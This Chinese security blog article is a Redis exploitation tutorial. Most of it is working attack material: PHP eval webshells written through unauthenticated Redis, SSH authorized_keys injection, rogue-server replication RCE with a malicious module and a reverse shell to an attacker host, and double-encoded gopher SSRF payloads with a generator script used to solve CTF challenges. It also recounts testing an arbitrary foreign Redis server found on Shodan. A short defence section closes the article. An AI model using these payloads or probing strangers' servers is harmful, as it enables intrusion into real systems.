数据库安全之Redis渗透 – 作者:Kr1pt0

本篇文章是Redis数据库漏洞复现,记录了实际中常见的Redis数据库未授权访问漏洞及主从复制RCE,主要分为七个部分:Redis简介、Redis安装、Redis基本操作、Redis漏洞复现、Redis联动SSRF漏洞、Redis实战和Redis防御措施。本篇文章由浅入深地介绍了Redis未配置访问认证授权导致的未授权访问漏洞和4.x版本后的主从复制RCE。在学习Redis过程中也阅读了几十篇中英文Redis相关技术文章,最终按照作者我的思路进行总结,相关参考文章也在文末列出。此外,文中可能会出现部分错误,望读者指出,谢谢。接着,开始我们的Redis数据库渗透学习!!

一、Redis基本介绍

Redis,全名Remote Dictionary Server,是一个使用ANSI C编写的开源、支持网络、基于内存、分布式、可选持久性的键值对存储数据库,属于NoSQL数据库类型。与传统数据库不同的是 Redis 的数据存于内存中,所以读写速度非常快,被广泛应用于缓存方向。Redis 与其他 key – value 缓存产品有以下三个特点:

  • Redis支持数据的持久化,可以将内存中的数据保存在磁盘中,重启的时候可以再次加载进行使用。

  • Redis不仅仅支持简单的key-value类型的数据,同时还提供list,set,zset,hash等数据结构的存储。

  • Redis支持数据的备份,即master-slave模式的数据备份。

Redis默认端口号:

6379:默认配置端口号

26379:sentinel.conf配置器端口

二、软件安装及配置

Redis最新版本为6.2.4,目前没有其相关漏洞,此次Redis漏洞复现选择为3、4、5的版本。复现系统选择为Kali Linux系统,分别安装3版本和4版本的Redis。

IP信息:
Redis3.2.0 192.168.112.132
Redis4.0.8 192.168.112.177

官网地址:https://redis.io/

下载目录:http://download.redis.io/releases/

1、Redis-3.2.0安装

官网下载:http://download.redis.io/releases/redis-3.2.0.tar.gz

1)wget下载

wget http://download.redis.io/releases/redis-3.2.0.tar.gz

2)解压文件

tar -zxvf redis-3.2.0.tar.gz

-z 通过gzip指令处理备份(解压)文件
-x 从备份(解压)文件中还原
-v 显示指令执行过程
-f 指定备份(解压)文件

RiRT6f.png

3)编译安装

cd redis-3.2.0
make

RiRo1P.png

2、Redis-4.0.8安装

类似Redis-3.2.0的安装,Linux执行如下命令即可下载和编译安装

wget http://download.redis.io/releases/redis-4.0.8.tar.gz
tar -zxvf redis-4.0.8.tar.gz
cd redis-4.0.8
make

3、Redis配置及使用

1)重要文件、目录介绍

/src目录下存放主要源文件及可执行程序:

  • redis-benchmark(压力测试工具)

  • redis-sentinel(监控集群运行状态)

  • redis-server(服务端)

  • redis-cli(客户端)

RiRIpt.png

redis.conf是Redis的配置文件

2)允许远程连接

修改配置文件redis.conf,在bind 127.0.0.1前加上#号,注释掉

vi redis.conf
# bind 127.0.0.1

RiR4fI.png

3)关闭安全模式

在配置文件中修改protected-mode为no,关闭安全设置。protected-mode是Redis3.2版本新增的安全配置项,开启后要求需要配置bind ip或者设置访问密码,关闭后允许远程连接。

vi redis.conf
protected-mode no

RiR20e.png

4)启动Redis-server

在目录redis-4.0.8下执行下面命令指定配置文件启动Redis

./src/redis-server redis.conf

RiRhtA.png

5)关闭Redis-server

关闭的话使用kill命令

ps aux | grep redis
kill -9 {PID}

RiRfkd.png

参考: linux下redis的安装、启动、关闭和卸载
https://www.cnblogs.com/wlx6/p/13167666.html

6)Linux下配置环境变量

目的:启动redis-cli客户端时不用到src目录下,直接敲redis-cli即可

zsh中添加环境变量,在.zshrc配置文件中最后添加下面deexport代码

vi ~/.zshrc
export PATH=/home/kali/Desktop/redis-4.0.8/src:$PATH

RiRRTH.png

刷新当前的shell环境,使新增的环境变量生效

source ~/.zshrc

RiRgmD.png

三、Redis基本操作

1、连接Redis服务器

交互模式

redis-cli -h {host} -p {port} -a {password}

RiWQBD.png

命令模式

redis-cli {command}

2、Redis设置密码

config set requirepass 123.com

RiWMnO.png

登陆方式1:-a参数加密码

redis-cli -h 192.168.112.132 -a 123.com

RiWlHe.png

登陆方式2:登陆进去再认证授权

auth 123.com

RiW3AH.png

3、常见命令

入门Redis,先稍微了解一些最常见,最常用的命令即可

  • 查看redis数据库信息,如内存使用情况、key数量等

info
  • 设置变量

set x "redisyyds"
set xx "wuhu123"
  • 设置备份路径

config set dir {dirpath}
config set dir /var/www/html/
  • 在磁盘中生成文件(空)

config set dbfilename {filename}
config set dbfilename shell.php
  • 保存内存中的数据到磁盘文件中

save
  • 查看所有变量名

keys *
  • 查看变量内容

get {变量名}
get x
  • 查看备份路径、文件

config get dir/dbfilename {dirpath/filename}
  • 设置密码

config set requirepass {password}   
config set requirepass "" #密码为空表示取消密码
  • 删除键(变量)

flushdb     # 当前库
flushall # 所有库

4、拓展命令

这部分属于比较少见的命令,但是可以作为进阶学习

  • 切换数据库 redis默认由16个库(0~15号). 且默认使用的是0号库

select {num}
  • 获取所有配置信息

config get *

5、拓展:Hydra爆破登陆密码

hydra -P passwd.txt redis://192.168.112.177

RiRwk9.png

四、Redis漏洞复现

1、Redis未授权访问写webshell

0x01简介

通过未授权登陆进Redis,写入木马至网站路径下

利用条件:

  1. 存在Redis未授权访问

  2. 登陆的用户具有读写权限

  3. 知道网站的路径

0x02 复现操作

1)先在靶机上开启apache服务

/etc/init.d/apache2 start

RiWrNj.png

2)未授权访问、写入一句话至内存、生成文件至磁盘中

redis-cli -h 192.168.112.132
set shell "\n\n<?php @eval($_POST['xigua']);?>\n\n"
config set dir /var/www/html/
config set dbfilename shell.php
save

RiW0Hg.png

3)蚁剑连接

成功连接上

RiWDEQ.png

2、Redis写入密钥ssh登陆

0x01 简介

攻击机上生成rsa公钥和私钥,将公钥传至靶机上,通过ssh登陆

前提条件:

  1. 已知登陆用户名

  2. 登陆的用户具有读写权限

  3. 目标服务器开启ssh服务

0x02 复现过程

1)开启ssh服务

在redis3.2.0的机子上开启ssh服务

/etc/init.d/ssh start

RiW2vV.png

2)生成ssh-rsa密钥

在Redis4.0.8的机子上创建ssh-rsa密钥,通过远程连接将密钥载入Redis3.2.0的机子内

ssh-keygen -t rsa

-t 指定密钥类型
id_rsa 私钥
id_rsa.pub 公钥

RiWfDU.png

3)稍加处理

这里将密钥开头和结尾添加了一些\n用于防止乱码,并写到key.txt中

(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt

-e 激活转义字符
添加\n\n的目的是为了安全起见,将内容和一些其他东西分隔开来,以便能够正确解析

RiWhbF.png

4)将公钥写入redis服务器内存

cat key.txt | redis-cli -h 192.168.112.132 -a 123.com -x set pubkey

-x 从标准输入读取数据作为该命令的最后一个参数,将key.txt内容作为变量pubkey的值

RiWWuT.png

5)设置路径和保存的文件名,将内存变量导入至磁盘文件

保存至/root/.ssh目录下的authorized_keys中(路径不存在需要提前创建)

config set dir /root/.ssh
config set dbfilename authorized_keys
save

RiW5E4.png

6)登陆ssh

远程ssh登陆进192.168.112.132的主机

ssh -i id_rsa [email protected]

RiWIUJ.png

3、远程主从复制RCE

在以前,通过上述两种的websehll、ssh key以及crontab的方式拿到shell非常的通杀。但随着服务器部署方式的发展,在docker这种部署模式下,单一的容器中一般除了redis以外没有其他服务的存在,再加上进一步的安全措施升级及权限严格管控,用之前的方式拿shell已经行不通了,此时,需要一种新的手段。

主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。

在Redis4.x之后的版本中提供了主从模式,该模式指使用一个Redis作为主机,其余剩下的机子作为备份机,主机从机上的数据是一致的,主机负责写入,从机负责读取。

0x01 简介

Redis Rogue Server RCE技术:通过远程控制Redis主机使用FULLRESYNC同步文件至从机上,在从机上加载恶意so文件,进而实现远程命令执行。Redis Rogue Server的涉及主要技术为Redis的主从复制以及外部模块加载,攻击思路如下:

Rif9PA.png

利用原理介绍:https://xz.aliyun.com/t/5665#toc-15

0x02 复现

Awsome-Redis-Rogue-Server工具下载地址:https://github.com/Testzero-wz/Awsome-Redis-Rogue-Serverredis-rogue-server工具下载地址:https://github.com/n0b0dyCN/redis-rogue-server

这里使用第一个工具

1)启动脚本执行Redis Rogue Server RCE

python3 redis_rogue_server.py -rhost 192.168.112.177 -lhost 192.168.112.132

python3 redis_rogue_server.py -h # 查看脚本的使用指南
-rhost 远程主机,从机
-lhost 本地主机,主机(Rouge Server)

RifC8I.png

2)选择模式

选择交互shell模式或者反弹shell模式,交互shell模式如下

RifkKf.png

选择反弹shell模式时需要先在公网服务器上开启监听端口用于监听反弹的shell

nc -lvp 8989

RifP2t.png

0x03 小结

上面复现的情况使用于允许远程主机登陆,如果Redis服务器设置了只允许本地登陆时,上述方法直接失效,此时需要联动一些其他的漏洞,通过本地登陆进Redis服务器,并拿到shell。下面介绍以本地的视角开启主从模式并从远程机上获取恶意.so文件并反弹shell

4、本地主从复制RCE

0x01 简介

对于只允许本地连接的Redis服务器,可以通过开启主从模式从远程主机上同步恶意.so文件至本地,接着载入恶意.so文件模块,反弹shell至远程主机

0x02 复现

1)工具开启Rogue Server

python3 redis_rogue_server.py -v -path exp.so

-v #冗余模式,仅启动Rouge Server模式
-path #指定.so文件

Rifm5j.png

2)本地登陆进Redis开启主从模式

redis-cli
config set dir /tmp
config set dbfilename exp.so

RifuPs.png

3)同步文件

slaveof 192.168.112.132 15000

RifM2q.png

4)载入恶意.so文件模块

module load ./exp.so    # 载入
module list # 查看模块

RifeaQ.png

5)反弹shell

system.rev 192.168.112.132 8989

RifKGn.png

6)关闭主从模式

slaveof NO ONE

五、Redis联动SSRF漏洞

1、RESP协议

RESP协议是Redis服务器通信的标准方式,服务器和客户端之间的通信建立在RESP协议之上,RESP协议实际上是一个支持简单字符串,错误,整数,批量字符串和数组五种数据类型的序列化协议。

RESP在Redis中用作请求 – 响应协议的方式如下:

  1. 客户端将命令作为Bulk Strings的RESP数组发送到Redis服务器。

  2. 服务器根据命令实现回复一种RESP类型。

在RESP中,某些数据的类型取决于第一个字节:

对于Simple Strings,回复的第一个字节是+

对于error,回复的第一个字节是-

对于Integer,回复的第一个字节是:

对于Bulk Strings,回复的第一个字节是$

对于array,回复的第一个字节是*

此外,RESP能够使用稍后指定的Bulk StringsArray的特殊变体来表示Null值。 在RESP中,协议的不同部分始终以"\r\n"(CRLF)结束。

*3 代表RESP数组长度为3
$4 代表字符长度为4
%0d%0a (\r\n) 代表换行符、结束符
+OK 代表服务端执行成功后返回的字符串

2、Gopher协议

Gopher是Internet上一个非常有名的信息查找系统,在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口,而它被代替的原因主要是收费和结构固化。Gopher协议支持GET和POST请求,常用于内网redis、smtp、ftp等服务的渗透攻击,此外还可以利用Gohper协议访问redis反弹shell。

Gopher协议格式:gopher://127.0.0.1:70/ + {TCP/IP数据}

Gopher协议解析实现:使用gopher协议时,TCP/IP数据部分会发送给相应的端口,这些数据可以是字符串或GET&POST请求数据包,redis、mysql未授权访问等,数据部分在发送时需要进行URL编码。

简单测试例子,curl工具支持gopher协议,使用gopher协议未授权访问redis服务器并请求info数据

curl gopher://192.168.112.132:6379/_*1
$4
info

对数据进行url编码:
curl gopher://192.168.112.132:6379/_*1%0d%0a%244%0d%0ainfo%0d%0a

不使用*1也可
curl gopher://192.168.112.132:6379/_%0d%0ainfo
curl gopher://192.168.112.132:6379/_%0d%0akeys%20%2a

注意点:回车用%0d%0a表示,问号需转为url编码%3f,最后可以多加上一个换行符

RifdR1.png

3、SSRF Redis 写入shell

简介:通过SSF漏洞和Gopher协议访问到内网的Redis服务,并发送恶意代码生成后门文件。

题目复现地址:https://www.ctfhub.com/#/skilltree

1)Redis命令

flushall
set 1 '<?php eval($_GET["test"]);?>'
config set dir /var/www/html
config set dbfilename test.php
save

2)构建gopher协议数据payload

根据前面介绍到的RESP协议和Gopher协议,构建payload如下,命令在上面的漏洞复现中都介绍了,这里还是简单解释下:

*1表示一个RESP表达式中的数组长度为1,第一个命令flushall只有一个参数,故为1,第二行命令set 1 <?php eval($_GET["test"]);?>共有三个参数,故为*3,其余以此类推。$8则表示它对应的下一个的参数flushall有8个的字符,$3对应set字符的长度,依次类推。

gopher://127.0.0.1:6379/_*1
$8
flushall
*3
$3
set
$1
1
$32


<?php eval($_GET["test"]);?>


*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$8
test.php
*1
$4
save

3)payload进行url编码处理

方法一:工具Gopherus

下载地址:https://github.com/tarunkant/Gopherus

使用方法见图

Rifwxx.png

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_GET%5B%22test%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
方法二:脚本生成

修改脚本对应的一些项,如shell命令、路径等

import urllib
import urllib.parse
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n<?php eval($_GET[\"test\"]);?>\n\n"
filename="test.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
print (payload)

RifBM6.png

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_GET%5B%22test%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%248%0D%0Atest.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

对比两种方法,脚本的功能比工具的功能更加强大些,自定义的选项多,且支持有密码的情况

4)二次url编码payload

在线网址进行url编码即可,UrlEncode编码/UrlDecode解码 – 站长工具 (chinaz.com)

gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252432%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_GET%255B%2522test%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25248%250D%250Atest.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

注意点:回车用%0d%0a表示,问号需转为url编码%3f,最后可以多加上一个换行符

坑点:用HackBar进行编码时,将大写全部变成小写,很无语

5)发送payload

将上述payload加到下面代码后,访问

http://challenge-cbdc649fd33ca6b5.sandbox.ctfhub.com:10800/?url=

6)找flag

【搜寻命令】

/test.php?test=system("ls /");
/shell.php?xigua=system("ls /");

RifaGR.png

/test.php?test=system("cat /flag_74b4c002ed3bdde2b2e63361afc8f576");

RifDsK.png

此外,也可以写入一句话,用蚁剑连接找flag,

4、SSRF Redis 主从复制RCE

简介:通过SSF漏洞和Gopher协议访问到内网的Redis服务,授权开启主从模式,载入恶意.so文件至磁盘中,进而拿到shell

复现地址:https://buuoj.cn/challenges

由于有些麻烦,这里用本地环境复现,且只复现涉及到Redis的部分,前面的PHP代码审计就略过了

1)本地开启Rouge Server

python3 redis-rogue-server.py --rhost 127.0.0.1 --lhost 192.168.112.132

这里本地地址–lhost设置为本地主机对外的IP地址192.168.112.132,作为一个Rouge Server。但是这里远程地址未知,即我们不知道Web服务器(题目靶机)的地址,由于是类似4-4的本地主从复制RCE,需要在靶机本地连接到我们的Rouge Server服务器,所以远程地址填不了,但是在这里填了127.0.0.1是因为从机可以有很多个,即这里将127.0.0.1也设置为从机,并顺便设置监听来查看Rouge Server下发的恶意命令

RifHoQ.png

开启监听,框框中的数据是Rouge Server发送给本地的恶意命令,我们可以根据这些命令向靶机发送数据命令。

2)修改备份文件

前面提示文件中给出了Reids的密码,授权修改备份文件目录

gopher://0.0.0.0:6379/_auth welcometowangdingbeissrfme6379
config set dir /tmp/
quit

二次编码后

gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit

将代码加在url后,访问回显正常即可

3)设置备份文件名和主从对象

gopher://0.0.0.0:6379/_auth welcometowangdingbeissrfme6379
config set dbfilename exp.so
slaveof%2
0192.168.112.132 21000
quit

二次编码后

gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%252
0192.168.112.132%252021000%250d%250aquit

4)导入模块

gopher://0.0.0.0:6379/_auth welcometowangdingbeissrfme6379
module load ./exp.so
quit

二次编译

gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250amodule%2520load%2520./exp.so%250d%250aquit

5)关闭主从模式

gopher://0.0.0.0:6379/_auth welcometowangdingbeissrfme6379
slaveof NO ONE
quit

二次编码

gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aslaveof%2520NO%2520ONE%250d%250aquit

6)导出数据库

gopher://0.0.0.0:6379/_auth welcometowangdingbeissrfme6379
config set dbfilename dump.rdb
quit

二次编码

gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dbfilename%2520dump.rdb%250d%250aquit

7)反弹shell

需要提前在kali上开启监听

gopher://0.0.0.0:6379/_auth welcometowangdingbeissrfme6379
system.rev 192.168.112.132 8899
quit

二次编码

gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250asystem.rev%2520192.168.112.132%25208899%250d%250aquit

RifIL8.png

5、小结

Redis联动SSRF最重要的特征就是登陆进Redis是以本地的视角登陆进去的,而非远程,再根据第四章提到的几种漏洞拿shell方式,就可以大致分类出两种利用方式,一是写shell,这要求具有写的权限,二是本地主从复制RCE,通过本地登陆连接远程的Rouge Server同步恶意.so文件反弹拿shell,这种利用就比较复杂些。

六、Redis实战

1、网络空间搜索引擎搜索

基本的网站有fofa、shodan和zoomeye等

2、关键词搜索

在shodan上输入product:”Redis”,搜索到12977台安装了Redis服务的主机,随便拿一台外国的测试测试(全程打码,仅供测试

Rif7dg.png

RifTeS.png

经测试,网络上的大部分Redis存在未授权访问漏洞,且防御措施不佳,易被攻击

参考:https://medium.com/@Victor.Z.Zhu/redis-unauthorized-access-vulnerability-simulation-victor-zhu-ac7a71b2e419

七、Redis防御措施

基本的防御措施如下:

1、禁止外部访问Redis服务

# redis.conf文件
bind 127.0.0.1
protected-mode yes

2、修改默认端口

也是在redis.conf文件下

3、添加密码验证

config set requirepass {password}   #密码为空表示取消密码

4、配置安全组,限制可连接Redis服务器的IP

5、禁止一些高危命令

用于将命令重命名为用户未知的随机字符串,使其无法访问

参考:https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=36100&highlight=redis

6、禁止以root权限启动redis服务

参考:https://blog.csdn.net/huantai3334/article/details/111397445

来源:freebuf.com 2021-06-20 12:43:49 by: Kr1pt0

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论